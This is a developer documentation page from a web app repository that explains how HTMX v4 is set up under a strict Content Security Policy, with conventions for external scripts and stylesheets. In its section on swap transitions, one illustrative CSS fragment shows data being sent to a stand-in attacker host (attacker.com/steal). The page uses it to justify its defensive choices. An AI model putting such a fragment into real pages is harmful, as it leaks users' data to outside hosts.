Files
member-console/docs/htmx-setup.md
T
cgalo5758 9ff516ba95 Introduce the forms library and migrate all forms
Every form on both surfaces is now a declared FormSpec in
internal/forms, rendered through the shared form part and parsed
by its handler through the same declaration. Create and edit
share one field list, refusals answer 422 with values carried
back, and layout, buttons and errors come from one part.

Also adds the form registry with its invariant and route-mapping
tests, the raw-form, filler-copy and Go em-dash lint rules,
declared action triggers, and the capture-coverage cross-check.
The forms-library change is archived under
openspec/changes/archive/2026-09-05-forms-library.
2026-09-05 03:16:45 -05:00

5.2 KiB

title, audience, summary
title audience summary
HTMX Setup
developer
How HTMX is integrated under a strict CSP, and the conventions for adding external JS and CSS to HTMX partials.

HTMX Setup

This document describes how the member-console uses HTMX and how its configuration interacts with the Content Security Policy (CSP).

Overview

The member-console uses HTMX for dynamic UI updates without full page reloads. All interactive sections (operator tabs, site management, workspace switching) use the HTMX partial pattern: the server renders HTML fragments that HTMX swaps into the DOM.

Version

HTMX is vendored as a static asset at internal/embeds/static/htmx.min.js (currently v4.0.0; upgraded from v2.0.4 in 10k.3). The migration is complete: no htmx-2-compat shim, no implicitInheritance flag, and lint fails htmx 2 residue (hx-disinherit, camelCase event names, compat references). Attribute inheritance is explicit: only the page shells mark hx-boost:inherited and the CSRF hx-headers:inherited; everything else declares its own attributes (see design-system.md §7).

Loading

HTMX is loaded via a <script defer> tag in the page templates (operator.html, index.html, products.html, billing.html). The defer attribute ensures it loads after the DOM is parsed.

CSP Configuration

The CSP is defined in internal/middleware/security.go and is intentionally strict to protect against XSS. The app handles OIDC authentication, member billing, entitlements, and operator-level admin — all high-value targets for injection attacks.

Relevant CSP Directives

script-src 'self' https://unpkg.com/htmx.org@*
style-src  'self'
  • script-src: Allows scripts from our own origin and HTMX from unpkg (fallback). Since HTMX is vendored locally, the unpkg allowance is defensive.
  • style-src: Only allows styles from external .css files served by our origin. Inline <style> tags and element.style.* assignments are blocked.

Why No 'unsafe-inline'

Adding 'unsafe-inline' to script-src would defeat most XSS protection. For style-src, it's less dangerous but still enables CSS-based data exfiltration attacks. We avoid both to maintain defense-in-depth.

HTMX + CSP Interaction

HTMX has two behaviors that conflict with a strict style-src 'self' policy:

1. Indicator Styles (Solved)

htmx 4 delivers its default .htmx-indicator CSS through Constructable Stylesheets rather than an injected inline <style> tag (which is what used to violate style-src 'self' in htmx 2). We still disable it so app.css remains the single source of indicator styling:

<meta name="htmx-config" content='{"includeIndicatorCSS": false, "noSwap": [204, 304, 403, "5xx"]}'>

(The noSwap list is the error-response swap contract; see design-system.md §7.)

The equivalent indicator styles are provided in internal/embeds/static/app.css:

.htmx-indicator { display: none; }
.htmx-request .htmx-indicator { display: inline-block; }
.htmx-request.htmx-indicator { display: inline-block; }

This gives us full control over indicator styling without any CSP violation.

2. Swap Transitions (Accepted)

htmx 4 animates swaps through the View Transitions API, which is disabled by default (htmx.config.transitions = false) and stays disabled here — content appears instantly, which is also what the deterministic screen captures rely on.

Why not 'unsafe-inline' for styles? While less risky than 'unsafe-inline' on script-src, it still enables CSS-based exfiltration (e.g., background: url(attacker.com/steal?data=...)). Nothing in the current setup needs it.

External JavaScript

All JavaScript must be in external .js files under internal/embeds/static/ to comply with CSP. Never add inline <script> tags to templates — they will be silently blocked.

Current external scripts (a representative sample, not exhaustive; see internal/embeds/static/):

  • error-handler.js — HTMX error handling and toast notifications
  • confirm-action-modal.js — the shared confirm dialog every destructive action opens through (docs/design-system.md "Confirm modal")

When adding new interactive behavior to HTMX partials, follow this pattern:

  1. Create a new .js file in internal/embeds/static/
  2. Add a <script defer> tag to the relevant page template
  3. If the script manipulates elements inside HTMX partials, listen for htmx:after:swap (or use htmx.onLoad) to re-initialize after swaps; htmx 4 event names are colon-separated (htmx:phase:action)

Static Asset Authentication

Static assets under /static/ are exempted from authentication middleware (internal/auth/auth.go). This is necessary because:

  • Static assets are public resources (CSS, JS, images, icons)
  • Some browser fetches (e.g., <link rel="manifest">) use CORS mode with credentials: 'omit', meaning session cookies are not sent
  • Without the exemption, unauthenticated static requests would be redirected to the OIDC login flow

External CSS

All custom styles are in internal/embeds/static/app.css. This file consolidates styles that were previously inline <style> blocks in the page templates. When adding new styles, add them to this file rather than creating inline styles.